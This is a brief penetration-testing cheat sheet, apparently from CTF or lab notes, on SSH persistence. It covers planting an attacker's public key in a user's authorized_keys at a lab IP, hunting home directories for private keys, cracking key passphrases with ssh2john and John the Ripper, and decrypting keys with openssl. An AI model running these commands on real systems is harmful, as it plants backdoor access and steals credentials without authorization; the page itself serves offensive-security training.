Persistence

SSH Key Injection

Generate SSH Keys

ssh-keygen -t ed25519 -f key

• To make sure the execute properly give it restricted permissions:

chmod 600 id_rsa

• If authorized_keys file doesn't exist create one with your public key:

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJsqrD2TiYF/KEidiuQncxpjkUU4CDS2A3lmhz1jeHIi b0llull0s@p4n1c" > /home/dvir/.ssh/authorized_keys

• Other wise append your public key:

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJsqrD2TiYF/KEidiuQncxpjkUU4CDS2A3lmhz1jeHIi b0llull0s@p4n1c" >> /home/dvir/.ssh/authorized_keys

• Now just connect with your private key:

ssh -i key dvir@10.10.11.8

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Using Existing keys

Look for the private key

find /home/user -name "id_*" -exec cat {} \;

• Once you find it, just copy the key in your .ssh directory and ssh in.

• Also you can, check If the Corresponding private/public Key is known by using this repo.

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Crack the passphrase

• Once you got the private key, you can use ssh2john to generate a hash from the key:

ssh2john private_key > private_key.hash

• Then feed this hash into John the Ripper:

john private_key.hash --wordlist=/path/to/wordlist

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Clone the key

• Sometimes you may need to copy an encrypted key to its decrypted version:

openssl rsa -in spanishdancer.key -out ~/keys/ariekei-spanishdancer